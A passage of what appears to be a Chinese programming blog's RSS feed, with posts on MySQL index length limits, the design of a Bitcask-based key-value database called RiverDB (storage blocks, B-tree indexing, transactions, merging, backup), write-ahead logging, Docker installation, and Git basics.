一个字符占用的是4个字节,那么上面结构体中索引的所占用的字节就是255 x 4 x 4 = 4080,总共4080个字节大于3072,所以自然就无法成功创建。

+

解决

+

既然已经发现了问题所在,那么该如何解决?在经过一顿资料查找后,总结出了几种解决办法。

+

减少长度

+

在上面的结构中,其实很多字段是没有必要设置255长度的,比如对于tag来说,50的长度就差不多够用了,比如说修改成如下长度。

+

(100+50+30+30) x 4 = 840 ,总共840个字节,远小于3072的限制。但万一业务需要就得这么大的长度,这种情况就不适用了。

+

前缀索引

+]]>
+
+ + RiverDB + https://246859.github.io/my-blog-giscus/posts/code/db/river_db.html + https://246859.github.io/my-blog-giscus/posts/code/db/river_db.html + RiverDB + RiverDB + 数据库 + Sat, 02 Dec 2023 00:00:00 GMT + RiverDB +
+ +
+

开头

+

大概在11月份,我写了两篇文章,一篇讲的是Bitcask,另一个讲的是Write Ahead Log,这两个东西跟数据库都有着莫大的关系。写完以后,我便萌生了一个想法,能不能自己动手写一个数据库,因为在此前数据库对我来说都只是使用而已,写一个数据库似乎有点遥不可及,并且从来没有接触过这些。想到就做,于是我花了点时间去参考了Github上比较知名的开源数据库包括:Badger,LevelDB,godis,RoseDB,NutsDB等

+
+

主流数据库的存储模型有B+Tree和LSM,最终选择了使用Bitcask存储模型来作为我的入门选择,它就像是简化版的LSM,因为它足够简单,不至于太难一上来直接劝退,也是我选择它的一大原因,准备妥当后,便开始着手朝着这个未知的领域窥探一番。

+

正所谓万事开头难,第一个问题就是数据库叫什么名字,虽然写出来可能没人用,但好歹要有一个名字。在思索一番过后,决定取名为river,这个名字来自初中时候玩的一款游戏《去月球》,里面的女主就叫river。在建完github仓库后,便开始思考一个数据库要有什么,首先可以确定的是这是一个KV数据库,最基本的增删改查肯定是要保证的,然后就是TTL可以整一个,给键值上一个过期时间,既然有了TTL,肯定要能单独查询和修改TTL的功能,还有一个最最重要的就是事务支持,以及批量写入数据和批量删除数据,梳理一下就是

+
    +
  • 基本的增删改查
  • +
  • TTL过期时间支持
  • +
  • 事务支持
  • +
  • 批量处理数据
  • +
  • 范围扫描和匹配
  • +
+

对了还有一个忘了就是数据库的备份和还原,这个也蛮重要的,在梳理好了这些大体的功能以后就可以开始着手去设计一些细节了。

+

存储

+

首先就是如何在磁盘上存放数据,既然采用了Bitcask作为存储模型,那么最简单直接的方法就是一条一条record存,一条一条record读,这样做最简单,也最容易实现。但是!非常重要的一点就是,前面已经提到过Bitcask不适合存大块数据,在几MB以上数据就可以被称为大块数据了,Bitcask原有的Record是由几个部分组成

+
+

header部分主要是record的元数据,包括crc,时间戳,key的长度,value的长度,读取一条record,需要两次IO,第一次读header,确认数据的长度,第二次确认数据长度过后才能去读取数据。实际上存放的数据都不是特别大,平均可能只有KB级别,甚至不到KB,对于这样小的数据,读取一条record还要进行两次IO,十分的浪费性能。

+

那么可以这样考虑,一次读取固定大小的文件内容到内存中,称之为Block,然后在内存中从Block读取数据,如果数据的足够小,刚好能在Block中,那么查询就只需要一次IO,后续虽然也是要先读数据长度再读实际数据,但由于是在内存中读取,要比磁盘读取快得多,这种能被Block容纳的数据称之为Chunk。而这个规则也就是应用在LevelDB的Wal文件中,而LevelDB默认的BlockSize就是32KB,每一次IO固定读32KB,这个值太大了会耗费内存,太小了会频繁IO,具体可以去这个文章Wal-LevelDB中的预写日志了解。

+
+

一个chunk由header和data组成,header最大为7个字节,所以data数据长度范围在[0, 32KB-7B],这里将crc校验从record抽离出来,放到了chunk中,这样在读写数据的时候就不需要再去做额外的校验。所以数据库实际操作的record是存放在data这部分中,对于一条记录而言,它的头部由以下几个部分组成

+
    +
  • type,标识操作类型,更新还是删除
  • +
  • ttl,过期时间,存放的是毫秒,10个字节是64位整数占用的最大字节数
  • +
  • txn_id,事务ID
  • +
  • key_sz,key的长度,5个字节是32位整数所需要的最大字节数
  • +
  • val_sz,数据的长度
  • +
+

数据的组织格式大体上就设计完毕了,数据在文件中的分布大概可能是下图的样子

+
+

除此之外,我还在内存中做了一个缓存,由于每次读取的都是一个32KB的Block,那么可以将频繁使用的Block缓存起来从而减少了IO次数。思考这么一种情况,如果一个Block中的所有Chunk都远小于Block,那么只有读第一个Chunk的时候,会进行文件IO,在第一个chunk读取完毕后,会将这个Block缓存起来,这样一来,后续的Chunk就不再需要从文件中读取,直接从内存里面读取即可,这样就大大提高读取的速度。但一直缓存也不是办法,内存也是有限的,也还要做索引,所以需要定期进行淘汰,这里可以用LRU缓存来实现。

+

使用了上述的数据组织形式,可以一定程度上优化读的性能,不过写性能也不能忽略。Bitcask本身采用的是append-only的写入方式,顺序写的性能自然是要比随机写要好很多的,不过问题在于这样会包含很多冗余的数据。写性能的瓶颈在与Fsync的时机,如果每一次写入都sync,数据的持久性可以得到很好的保证,但性能会很低,如果不sync,性能肯定是比前者要高很多的,但持久性难以得到保证,正所谓鱼和熊掌不可得兼,还得是在两者之间找一个平衡点。

+

索引

+

对于索引的选择,比较主流的选择有BTree,SkipList,B+Tree,RedBlackTree,这几个都有一个共同点就是它们都是有序的,当然还有一个无序的数据结构哈希表,这个直接排除了,使用哈希表做索引没法做范围扫描。Redis和LevelDB首选的是SkipList,基于有序链表的SkipList的写性能会优秀一些,查询性能相对较弱,而树这一类的数据结构查询性能优秀,写入性能相对而言弱一些。

+

考虑到Bitcask存储模型并不适合存储大量数据,也不适合存储大块数据,在综合考虑下,选择了各方面比较平衡的BTree作为首选的内存索引,BTree又叫做多路平衡查找树,不选SkipList是因为没有找到很好的开源实现,B+Tree更适合做磁盘索引,而Btree有谷歌开源的库,并且另一大优点就是这个库很多人使用且支持泛型。不过其实索引并不只限于BTree,索引这一层做了一层抽象,后续也可以用其它数据结构实现。

+

是否要自己手写?说实话这个数据库我还是想用一用的,BTree,B+Tree都是非常复杂的数据结构,自己写是能写但不一定能保证能用,有了稳定成熟的开源实现可以使用是最好的。我自己也有写另一个数据结构的库,并且全都支持泛型,

+

开源仓库:246859/containers: base data structure and algorithm implemention in go genericity (github.com)

+

不过还在逐步完善,等以后稳定了说不定可以使用。

+

那么,内存索引存什么东西呢?这个问题还是比较好回答的,考虑到存储中采用的是Wal的组织形式,索引中存储的信息应该有

+
    +
  • 哪个文件
  • +
  • 哪个block
  • +
  • chunk相对于block的offses
  • +
+

用go语言描述的话就是一个结构体

+

每一个block固定为32KB,所以只需要知道FidBlockIdOffset这三个信息就可以定位一条数据。除此之外,还可以把数据的TTL信息也放到索引中存储,这样访问TTL就不需要文件IO了。

+

事务

+

如果要我说整个数据库哪一个部分最难,恐怕只有事务了,支持事务要满足四个特性,ACID,原子性(Atmoicty),一致性(Consistency),隔离性(Isolation),Durability(持久性)。其中最难实现的当属隔离性,隔离性又分为四个级别,读未提交,读提交,可重复读,串行化。

+

在写事务这块之前,参考了下面几个项目

+
    +
  • +

    RoseDB

    +

    它的v2版本对于事务的实现只有一个读写锁,保证了串行化事务。

    +
  • +
  • +

    NutsDB

    +

    跟上面的一样,也是用一个读写锁来实现串行化事务,可以并发读,但是不能并发写,并且写会阻塞读写事务。

    +
  • +
  • +

    Badger

    +

    badger与上面的两个项目不同(吐槽一下badger源代码可读性有点差),它是基于LSM而非Bitcask,并且提供了完整的MVCC事务支持,可以并发的进行读写事务,失败就会回滚。

    +
  • +
+

前两个数据库不支持MVCC的理由非常简单,因为Bitcask本身就使用内存来做索引,如果实现MVCC事务的话,就需要在内存中存放许多版本的索引,但是内存空间不像磁盘,磁盘空间多用一点没什么,所以Bitcask的存储方式会产生冗余数据是可以容忍的,但内存空间是非常宝贵的,采用MVCC事务的话会导致有效索引的可用空间受到非常大的影响。

+

大致的思路如下,在开启一个事务时不需要持有锁,只有在提交和回滚的时候才需要。在一个事务中所有的修改加上事务ID后都将立即写入到数据文件中,但是不会更新到数据库索引中,而是去更新事务中的临时索引,每一个事务之间的临时索引是相互独立的,无法访问,所以事务中更新的数据对外部是不可见的。在提交时,首先检测是否发生了事务冲突,冲突检测思路如下。

+
    +
  1. +

    遍历所有已提交的事务

    +
  2. +
  3. +

    检测其提交时间是否晚于本次事务的开始时间

    +
  4. +
  5. +

    如果是的话,再遍历该事务的写集合,如果与本次事务的读集合有交集,说明本次事务中读过的数据在事务执行过程中可能被修改了,于是判定为发生冲突。

    +
  6. +
  7. +

    提交成功的话就加入已提交事务列表中

    +
  8. +
  9. +

    将事务中的临时索引更新到数据库索引中,现在数据对外部可见了

    +
  10. +
  11. +

    插入一条特殊的记录,附带上当前事务的事务ID,表示此次事务已提交

    +
  12. +
  13. +

    如果失败回滚的话,也插入一条特殊的记录,表示此次事务已回滚

    +
  14. +
+

数据库在启动时,会按顺序遍历每一个数据文件中的每一条数据,每一个数据都携带对应的事务ID,首先会收集对应事务ID的事务序列,如果读到了对应事务ID的提交记录,就会将该事务的数据更新到内存索引中,如果读到了回滚的记录就会直接抛弃。如果一个事务序列,既没有提交也没有回滚,这种情况可能发生在突然崩溃的时候,对应这种数据则直接忽略。

+

这样一来,事务的ACID都可以满足了

+
    +
  • 原子性和一致性,只有提交成功的数据才会出现在索引中,回滚和崩溃的情况都会直接抛弃,所以只有成功和失败两种结果,即便出现突然断电崩溃,也不会出现第三种状态。
  • +
  • 持久性:一旦事务提交成功,也就是标记事务提交的特殊记录写入到数据库中,那么这些数据在数据库中就永远生效了,不管后面突然断电还是崩溃,在数据库启动时这些事务数据一定会成功加载到索引中。
  • +
  • 隔离性:事务与事务之间的修改是彼此都不可见的,只有提交后更新到索引中,所做的修改才能被其它事务看见。
  • +
+

在运送时,可以用最小堆来维护当前的活跃事务,在每一次提交后就会清理已提交事务列表,如果提交时间小于堆顶的事务开始时间,说明该事务不可能会与活跃的事务发生冲突,就可以将其从已提交事务列表中删除,避免该列表无限膨胀。

+

但是!凡是都要有个但是,上面这种方法的隔离级别只能够保证读提交,无法保证可重复读,如果读过的数据在事务执行过程中被修改了,就会发生冲突,这种情况要么回滚要么重试。当然,riverdb也提供了另一个隔离级别,串行化,就跟RoseDB和NutsDB一样,使用读写锁来保证事务之间按照顺序执行,这样做的好处就是几乎很难发生冲突,坏处某一时刻就是只有一个协程能写入数据。

+

高性能往往意味着的可靠性低,高可靠性也代表着性能会拖后腿,事务就是可靠性和性能之间的权衡,至于选择什么隔离级别,这个可以做成可配置化的,让使用者自己选择。

+

合并

+

在存储那一块提到了增量写导致的问题,由于不管是增删改,都会插入一条新的数据,随着时间的流逝冗余的数据越来越多,肯定需要去清理的,不然会占用大量的空间。对数据库中无用的数据进行清理,这一过程称为合并。在合并清理数据的时候,有几个问题需要思考

+
    +
  • 清理哪些数据
  • +
  • 在什么时候清理
  • +
  • 如何清理
  • +
+

清理哪些数据?梳理了一下应该有下面这些数据

+
    +
  • 过期的数据,已经过期的数据是没有必要再存在的
  • +
  • 被覆盖的数据,有效的数据始终只有一条,被覆盖后没有存在的必要
  • +
  • 被删除的数据,删除后也不需要了
  • +
  • 回滚的事务数据
  • +
  • 无效的事务数据,也就是写入数据,但是即没提交也没回滚
  • +
+

对于事务数据,成功提交后的事务数据在清理时可以将其事务ID清空,在数据库启动时读取数据时,读到合并后的数据可以直接更新到索引中,而不需要收集整个事务序列来判断是否提交成功。

+

在什么时候清理?肯定是不能直接在原数据文件上动手,否则的话会阻塞其它正在进行的读写操作,一个Bitcask实例本身就是一个文件夹,数据库本身就是一个Bitcask示例,为了不阻塞读写,可以在清理合并数据的再新建一个Bitcask实例,将清理后的数据写入到新的实例中,然后再将数据覆盖到数据库实例中,这样的好处就是只有在进行覆盖操作的时候才会阻塞读写操作,其它时候不影响。

+

如何清理?在清理开始之前可以让bitcask实例新建一个active-file,将当前文件归入immutable-file,这样一来,在清理过程中新的写入就会写入到新的active-file中,而清理操作则是针对旧的immutable-file,记录下旧的active-file的文件id,然后逐个遍历immutable-file,如果数据被删除了,索引中自然不会存在,数据是否过期需要在遍历时判断一下,另一个需要注意的一点是还要检查一下索引信息中的文件id是否大于记录的文件id,是的话说明是新的写入操作则忽略掉这个索引项。在遍历索引时,还可以做一件额外的事,那就是构建hint文件,将新的索引信息写入hint文件中,这样一来,在数据库启动期间构建索引时,对于清理后的这部分数据可以不用去遍历每一条数据,而且可以从hint文件中读取,对于未清理的数据仍然需要去遍历其真实数据,这样做可以加快内存的构建速度。对于hint文件,它就等于存放在磁盘中的索引,其中的每一条记录都只存放索引信息,不包含实际数据,它只用于构建索引,而不会用于数据查询,目的只是为了加快索引的构建速度。

+

当数据清理完毕后,根据先前记录的文件ID覆盖掉原先的immutable-files,然后在重新加载索引,这样一来合并过程就完成了。还剩下最后一个问题,合并操作该在什么时候进行?有两个方案,第一个是定时合并,另一个是触发点。定时合并就比较简单了,就只是定时操作。触发点则是让数据库在写入时记录数据条数,当现有的数据条数与索引中的条数达到一定比例时就会触发合并。触发点合并就需要考究了,如果数据库中的数据量本身就很小,比如只有100条,但这100条都是针对一个key的改写,那么比例就达到了100:1,可能会触发合并,但实际上根本就没有必要。那么该如何去判断是否达到了触发点呢,这个可以用事件监听来实现,监听数据库的写入行为,如果达到了阈值,就可以进行合并,而且这一过程是异步的。

+

考虑一个情况,一个事务已经向数据库中写入了一些数据,但是没有提交,而恰好这时候又触发合并了,合并时会新建一个数据文件,于是该事务的后半段数据就写入了新文件中,并成功提交。合并时,之前的文件会被归档然后清理掉其中的无用数据。但是,这个事务的前半段数据在合并时是扫描不到提交记录的,那么它就会被清理掉,这样一来只有事务的后半段数据持久化了。这个过程就是一个事务被截断了。如何避免这种情况,最简单的方法是用一个互斥锁让事务与合并互斥,这样做的代价很明显,会导致合并操作阻塞其它事务的读写行为,如果数据量多了的话合并操作是非常耗时的。我的解决方案是合并操作之前必须要等待当前所有的活跃事务执行完毕,同时阻塞新事务的开启,然后再去创建新的数据文件,文件创建完成后让阻塞的事务恢复运行。这样做虽然同样会阻塞事务,但它等待的时间是活跃事务的执行时间+创建新数据文件的时间,真正的合并操作依旧是异步的,而使用互斥锁的等待时间是一整个合并操作的时间。

+

其实还有一种解决方案,如下图

+
+

它采用的方案是把读和写的文件分开了,其实这就是我早期的设想。事务的修改首先被写入到wlog中,这时内存索引存储的是wlog中的位置索引,然后到了一定触发点将日志中的数据compact到data中,再更新内存索引为data中的位置索引,data是只读的,除了merge操作外不做任何修改。这样做其实依旧会发生上述提交的事务截断的情况,但compact阻塞的成本要比merge低很多,是可以接受的。因为每一次compact过后wlog的数据都会被清空,compact不会遍历所有数据,而merge总是会遍历整个data files,compact和merge操作也并不互斥,可以同时进行。这个方案最终没有被采纳,一是因为当我发现这个bug的时候已经写的差不多了,要改动的话会动非常多的东西,二是它还是会出现事务截断的情况,并且在compact的时候依旧需要阻塞事务,还会让整个过程变得更复杂。

+

下图是实际上应用的方案

+
+

可以看得出来其实是把事务日志和数据文件合成一个了,因为bitcask数据文件的性质本身就跟事务日志一模一样。

+

备份

+

备份的实现思路就非常简单了,Bitcask实例就是一个文件夹,直接把当前文件夹打包成一个压缩包,就完成了备份,日后如果要恢复到备份状态的话,就直接解压缩到数据目录就好了。解压缩是用tar gzip来实现,它的兼容性会更好些。

+

监听

+

数据库总共有几种事件

+
    +
  • 更新事件
  • +
  • 删除事件
  • +
  • 回滚事件
  • +
  • 备份事件
  • +
  • 还原事件
  • +
  • 合并事件
  • +
+

可以用一个队列来存放这些事件,上述操作成功后,会向队列中发送消息,队列会将这些消息转发给用户已创建的监听器,监听器的本质就是一个带缓冲的通道,所以这就是一个极简的消息队列的实现。用户在创建监听器时可以指定监听哪些消息,如果不是想要的消息就不会发送给该监听器,并且用户创建的监听器被维护在数据库中的监听器列表中,当消息队列有新的消息时,会遍历整个列表逐个发送消息,对于用户而言,只对其暴露一个只读的通道用于接收事件。其实这就是一个极简版的消息队列实现。

+

总结

+

这个简单的数据库花了我大概一个月的时间,从11月10日到12月2日结束,在过程中Wal的实现以及事务的支持卡了我最久,最后终于实现了预期的所有功能,但距离使用仍然需要不断的测试和完善。

+

仓库地址:246859/river: light-weight kv database base on bitcask and wal (github.com)

+

在这个过程中学习到了非常多的东西,最重要的就是存储模型Bitcask的实现,Wal的实现,事务的实现,这三个就是riverdb的核心点,总结下来就是

+
    +
  • 磁盘存储,磁盘存储的关键点在于数据的组织形式,以及Fsync调用时机,是性能与持久性之间的权衡
  • +
  • 内存索引,而索引的关键点在于怎么去选择优化更好的数据结构,提供更好的性能,占用更少的内存。
  • +
  • 事务管理,事务的关键点在于隔离性,是事务可靠性与事务并发量之间的权衡
  • +
+

至于其它的功能也就是在它们的基础之上衍生出来,只要这三个核心处理好了,其它的问题也就不算特别难处理。目前它还只是一个嵌入式的数据库,没有提供网络服务,要想使用只能通过导入代码的方式。riverdb现在等于只是一个数据库内核,只要内核完善了,在它的基础之上开发新的命令行工具或者是网络服务应该还算是比较简单的。

+]]>
+ +
+ + WAL——预写日志 + https://246859.github.io/my-blog-giscus/posts/code/db/wal_in_leveldb.html + https://246859.github.io/my-blog-giscus/posts/code/db/wal_in_leveldb.html + WAL——预写日志 + WAL——预写日志 + 数据库 + Fri, 17 Nov 2023 00:00:00 GMT + WAL——预写日志 +
+ +
+

WAL全名叫Write Ahead Logging,译为预写日志,常用在数据库系统中,用来保证ACID事务中的原子性和持久性。WAL的写入方式通常是append only,每一次写入都是在向其中添加数据,而非in place原地修改,那么这样做的好处非常明显,由于是顺序IO,写入性能会比随机IO好很多。

+]]>
+ +
+ + 基本介绍 + https://246859.github.io/my-blog-giscus/posts/code/docker/0.dcoker.html + https://246859.github.io/my-blog-giscus/posts/code/docker/0.dcoker.html + 基本介绍 + 基本介绍 docker是一款非常出名的项目,它是由go语言编写且完全开源。docker去掉了传统开发过程中的繁琐配置这一步,让开发者可以更加快速的构建应用。到目前为止,docker提供了桌面端,CLI命令行,SDK,以及WebApi几种方式以供开发者选用。 + docker + Fri, 07 Apr 2023 00:00:00 GMT + 基本介绍 +
+

docker是一款非常出名的项目,它是由go语言编写且完全开源。docker去掉了传统开发过程中的繁琐配置这一步,让开发者可以更加快速的构建应用。到目前为止,docker提供了桌面端,CLI命令行,SDK,以及WebApi几种方式以供开发者选用。

+
+

提示

+

这部分文章主要关注点在CLI命令行,其他几种方式请自行了解。

+
+

其实自己很早就用过docker,但是没有进行过一个系统的归纳,写下这些内容也是对自己的学习进行一个总结。Docker这块主要分为两大部分,前半部分主要讲怎么使用docker,后半部分会讲docker的一些原理(如果还有时间的话),先学会用再去深究这是我一直以来的理念。

+

一些链接

+

官网

+

官网:Docker: Accelerated, Containerized Application Development

+

docker官网,这里什么信息都有。

+

仓库

+

开源仓库:moby/moby: Moby Project - a collaborative project for the container ecosystem to assemble container-based systems (github.com)

+

docker使用过程中,如果遇到问题,直接来仓库提issue是最有效的方法(能搜就别问了),如果有能力提pr就更好了。

+

文档

+

文档地址:Docker Docs: How to build, share, and run applications | Docker Documentation

+

docker的官方文档,使用指南,使用手册,API文档,详细到每一个命令的作用都有解释,也会教你怎么开始使用docker,怎么安装怎么卸载,不过是全英文。

+]]>
+ +
+ + 安装使用 + https://246859.github.io/my-blog-giscus/posts/code/docker/1.start.html + https://246859.github.io/my-blog-giscus/posts/code/docker/1.start.html + 安装使用 + 安装使用 第一次使用电脑时,都会先学习怎么开机和关机,使用软件也一样,得先学会怎么安装和卸载,以免觉得不好用了也可以卸掉。 本篇的内容参考自Install Docker Engine on Ubuntu | Docker Documentation 提示 后续的文章都将在ubuntu22.04LTS系统基础之上进行描述。 + docker + Sun, 09 Apr 2023 00:00:00 GMT + 安装使用 +

第一次使用电脑时,都会先学习怎么开机和关机,使用软件也一样,得先学会怎么安装和卸载,以免觉得不好用了也可以卸掉。

+

本篇的内容参考自Install Docker Engine on Ubuntu | Docker Documentation

+
+

提示

+

后续的文章都将在ubuntu22.04LTS系统基础之上进行描述。

+
+

安装

+

设置仓库

+

1.更新apt索引,安装一些依赖

+

2.添加docker官方的GPG密钥

+

3.设置仓库

+

安装docker engine

+

1.先更新索引

+

2.安装最新版本

+

3.安装指定版本

+

4.执行docker info看看是否docker service是否都正常运行

+

5.运行hello-world镜像看看能不能正常工作

+

卸载

+

相比于安装,卸载就要简单多了

+

然后再删除数据文件

+

关闭

+

要想完全关闭docker,需要将docker.socketdocker两个服务都关掉。

+

开启

+

开启同理

+
]]>
+
+ + 简介 + https://246859.github.io/my-blog-giscus/posts/code/git/0.introduction.html + https://246859.github.io/my-blog-giscus/posts/code/git/0.introduction.html + 简介 + 简介 代码管理对于软件开发而言永远是一个绕不过去的坎。笔者初学编程时对软件的版本没有任何概念,出了问题就改一改,把现在的代码复制保存一份留着以后用,这种方式无疑是是非常混乱的,这也是为什么VCS(Version Control System)会诞生的原因。这类软件的发展史还是蛮长的,笔者曾经短暂的在一个临时参与的项目中使用过SVN,现在应该不太常见了,几乎大部分项目都是在用git进行项目管理。大多数情况下,笔者都只是在拉代码和推代码,其他的命令几乎很少用到,不过这也侧面印证了git的稳定性。写下这些内容是为了对自己git相关知识的进行一个总结,更加熟悉之后,处理一些疑难杂症时会更加得心应手。 + Git + Wed, 23 Nov 2022 00:00:00 GMT + 简介 +
+

代码管理对于软件开发而言永远是一个绕不过去的坎。笔者初学编程时对软件的版本没有任何概念,出了问题就改一改,把现在的代码复制保存一份留着以后用,这种方式无疑是是非常混乱的,这也是为什么VCS(Version Control System)会诞生的原因。这类软件的发展史还是蛮长的,笔者曾经短暂的在一个临时参与的项目中使用过SVN,现在应该不太常见了,几乎大部分项目都是在用git进行项目管理。大多数情况下,笔者都只是在拉代码和推代码,其他的命令几乎很少用到,不过这也侧面印证了git的稳定性。写下这些内容是为了对自己git相关知识的进行一个总结,更加熟悉之后,处理一些疑难杂症时会更加得心应手。

+

开源地址(镜像):git/git: Git Source Code Mirror

+

官方网站:Git (git-scm.com)

+
+

提示

+

本章内容大量参考GitBook,该书有着良好的中文支持,十分建议阅读。

+
+

安装

+

git本身是为linux设计的,不过也有windows版本的。

+
+

前往官网下载对应平台的发行版,笔者所使用的是windows版本,下载完成后执行命令查看git是否可用

+

对于linux而言,可以使用apt来安装

+

或者

+

更新

+

更新git的方法相当简单

+
    +
  1. 第一种是直接下载新的文件覆盖旧文件
  2. +
  3. 第二种是执行git update-git-for-windows 命令进行更新。
  4. +
  5. 对于linux而言使用自己对应软件包管理工具的更新方法
  6. +
+

帮助

+

寻求git帮助的方式有很多种

+
    +
  1. 在官网查阅命令文档
  2. +
  3. 执行git help verbs获取详细帮助
  4. +
  5. 执行git verbs -h来获取简短的描述
  6. +
+

善用这些方法和渠道,因为很多时候出了问题并不会有人来帮你解决,自己多去看看文档说不定会发现问题所在。

+

配置

+

通过git config命令可以查看git配置,比如

+

一般来说,刚安装后,你需要配置你的名称和邮箱,因为这个信息会在你日后对每一个git仓库的每一次提交出现,比如当你和其他人合作开发项目时,突然看到一段很烂的代码,通过这个信息就可以很快的知晓到底是哪个大聪明写的代码。通过--global参数进行全局设置,同样的也可以使用--local来进行局部设置,全局设置会作用到所有的仓库,而局部设置只会覆盖当前的仓库。

+

通过添加--show-origin参数可以很清晰的看到每一个配置的来源。

+

注意

+

最后说一句,后续的git学习只会使用命令行工具,因为只有命令行才能体验到git的完整功能。掌握了命令行以后,再去使用其他GUI工具就轻而易举了。在windows平台,如果安装成功了的话,是可以直接在cmd和powershell里面使用git命令的,当然也可以使用git bash,这是git自带的命令工具,你可以在鼠标右键菜单中找到它。

+ +

使用git bash的好处是可以兼容一些基础的linux命令。git有着很多的内置命令,没必要去死记硬背,忘了也很正常,我写这些文章的目的就是为了未来有一天忘了的时候可以回顾这些内容,所以放平心态。

+]]>
+ +
+ + 仓库 + https://246859.github.io/my-blog-giscus/posts/code/git/1.repo.html + https://246859.github.io/my-blog-giscus/posts/code/git/1.repo.html + 仓库 + 仓库 本文将讲解git一些基础操作,所有内容都是围绕着本地仓库进行讲解的,比如提交修改,撤销修改,查看仓库状态,查看历史提交等基本操作,学习完这些操作,基本上就可以上手使用git了。 创建仓库 git的所有操作都是围绕着git仓库进行的,一个仓库就是一个文件夹,它可以包含一个项目代码,也可以包含很多个项目代码,或者其他奇奇怪怪的东西,到底要如何使用取决于你自己。创建仓库首先要创建一个文件夹,执行命令创建一个example文件夹。 $ mkdir example + Git + Sat, 26 Nov 2022 00:00:00 GMT + 仓库 +

本文将讲解git一些基础操作,所有内容都是围绕着本地仓库进行讲解的,比如提交修改,撤销修改,查看仓库状态,查看历史提交等基本操作,学习完这些操作,基本上就可以上手使用git了。

+

创建仓库

+

git的所有操作都是围绕着git仓库进行的,一个仓库就是一个文件夹,它可以包含一个项目代码,也可以包含很多个项目代码,或者其他奇奇怪怪的东西,到底要如何使用取决于你自己。创建仓库首先要创建一个文件夹,执行命令创建一个example文件夹。

+

进入该文件夹,执行git初始化命令git init,就可以为当前文件夹创建一个git仓库

+

命令初始化完毕后,当前文件夹下就会多出一个名为.git的文件夹,里面存放着当前仓库所有的信息。

+

到此就创建好了一个基本的git仓库。

+
+

介绍一些基本的概念,首先要明白的是,在已创建的example目录内,除了.git文件夹,其他的所有文件或文件夹都属于工作区(图中黄色部分),日后所有对文件的修改,新增,删除的操作都是在工作区进行。操作过后,我们必须要手动指定git追踪哪些文件,这样git才能将指定文件纳入版本控制当中,这一步就是追踪文件,将其添加到暂存区(图中蓝色部分),然后就将这些修改提交到仓库(图中的紫色部分)后,才算是真正的由git仓库记录了这一次修改。除此之外,还有一个将本地仓库的修改推送到远程仓库的步骤,不过这是可选的。

+

暂存修改

+

当前仓库什么都没有,所以接下来要创建几个文件来进行管理。

+

在上面的命令中,创建了一个hello.txt文本文件,还有一个名为README.md的markdown文件。名为README的文件往往具有特殊意义,它的名字就是read me,即阅读我,该文件通常作为一个项目的介绍文件,里面包含了一个项目的基本信息和作者想要展示给其他人看的介绍信息。通常来说,它并不限制格式,示例中使用的是md格式,只是因为方便书写,它也可以是README.txtREADME.pdfREADME.doc,它可以是任何一切人类可以阅读的文本格式,这只是一种约定俗成的规范,而非强制要求,如果你乐意,也可以不创建README文件。

+

这时候再执行git status命令查看仓库目前的状态,git会告诉你,这两个文件没有被追踪(untracked),如果你想要管理这两个文件,就需要显式的使用命令来进行追踪。

+

提示中也告诉了你应该使用 git add命令来追踪这些文件,如下

+

追踪文件后,再次执行git status命令,git就会告诉你这两个文件处于暂存状态(staged),即被添加到了暂存区

+

在git仓库中,只有被追踪的文件才会纳入版本控制。在追踪了两个文件后,接下来修改hello.txt的文件内容

+

然后再次执行git status命令,查看仓库状态,git会告诉你,发现之前追踪的hello.txt文件已经被修改了,且新的修改没有暂存。

+

此时,暂存区的状态还停留在上一次add操作时,而工作区已经有了新的修改,所以要再次执行git add来更新暂存区。

+

查看修改

+

在对工作区文件做出修改过后,git status只能知晓文件的状态变化,而无法得知具体的变化细节。使用git diff命令可以解决此问题,不带任何参数执行该命令的话,它会展示工作区文件与暂存区文件的区别。比如先修改hello.txt,再执行git diff,输出如下

+

其中ab,分别指工作区和暂存区,@@ -4,3 +4,4 @@指的是变化位置,最后一行带有+号,表示这是新增的。加上--staged参数就会比较暂存区与上一次提交时的变化。接下来先添加到暂存区,然后再查看差异

+

这一次输出的就是最后一次提交的文件和暂存区的文件的差异。

+

忽略文件

+

对于一些文件,我们并不希望将其纳入git版本控制当中,也不需要git去追踪它们的变化,比如编译好的二进制文件,程序生成的错误日志等,为此git提供了一个配置文件.gitignore,来告诉git要忽略哪些文件。下面看一个例子,这是文档站仓库的.gitignore文件:

+

其中.idea/是忽略IntellJ IDE自动生成的项目配置文件,node_modules/是忽略掉一系列本地依赖文件,其他的要么就是忽略缓存,要么就算忽略打包文件。可以使用#来进行注释,描述忽略文件的具体信息。

+

文件 .gitignore 的格式规范如下:

+
    +
  • 所有空行或者以 # 开头的行都会被 Git 忽略。
  • +
  • 可以使用标准的 glob 模式匹配,它会递归地应用在整个工作区中。
  • +
  • 匹配模式可以以(/)开头防止递归。
  • +
  • 匹配模式可以以(/)结尾指定目录。
  • +
  • 要忽略指定模式以外的文件或目录,可以在模式前加上叹号(!)取反。
  • +
+

glob模式指的是简化过后的正则表达式,熟悉正则表达式看这个应该相当容易,下面看一些例子

+

基本上每一个语言都会有一套属于自己的.gitignore模板,比如说c++模板

+

Github有专门收集这类模板的仓库,前往github/gitignore: A collection of useful .gitignore templates了解更多。

+

提交修改

+

在将所有修改到添加到暂存区过后,就可以将暂存的文件提交到当前分支,使用git commit命令进行提交操作

+

git要求你在进行提交时,必须附带提交信息,使用-m参数来指定提交信息,如果参数为空字符串的话会中断操作,倘若不携带-m参数,会自动进入vim界面要求你必须输入提交信息,否则就无法提交到当前分支。提交成功后,git输出如下信息

+

其中master,就是提交到的分支,b3c2d7f是git为本次提交生成的40位sha1校验和的一部分。

+

每当完成了一个阶段的小目标后,将变动的文件提交到仓库,git就会记录下这一次更新。只要提交到仓库里,日后就可以通过各种手段恢复,不用担心数据丢失的可能。

+

跳过暂存

+

git提供了一个可以跳过暂存的方式,即在git commit命令后加上-a参数就可以将所有修改过的文件暂存并提交到当前分支。比如先修改了hello.txt文件

+

然后再创建一个新文件bye.txt

+

此时执行git status,查看仓库状态

+

使用git commit -a跳过暂存

+

再次执行git status会发现,bye.txt并没有被提交,也没有被暂存,所以跳过暂存的前提是文件首先需要被追踪,这样git才能感知到它的变化。

+

历史提交

+

在进行一段时间的工作后,你可能会想看看以前干了些什么,可以使用git log命令查看当前仓库的提交历史。

+

通过输出,我们可以很轻易的得知每一个提交的日期时间,作者,提交描述信息,以及sha1校验和。通过添加-p参数可以得知每一次提交的修改

+

当历史过多时可以指定显示多少条,来获得更好的查看效果

+

或者以图表的形式来展示提交历史,为了更有效果,拿文档站的提交历史作例子,可以看到多了一条线,这其实是其它分支合并的结果。

+

除此之外,通过添加--pretty参数还可以美化git log的输出,比如每一个提交只显示一行

+

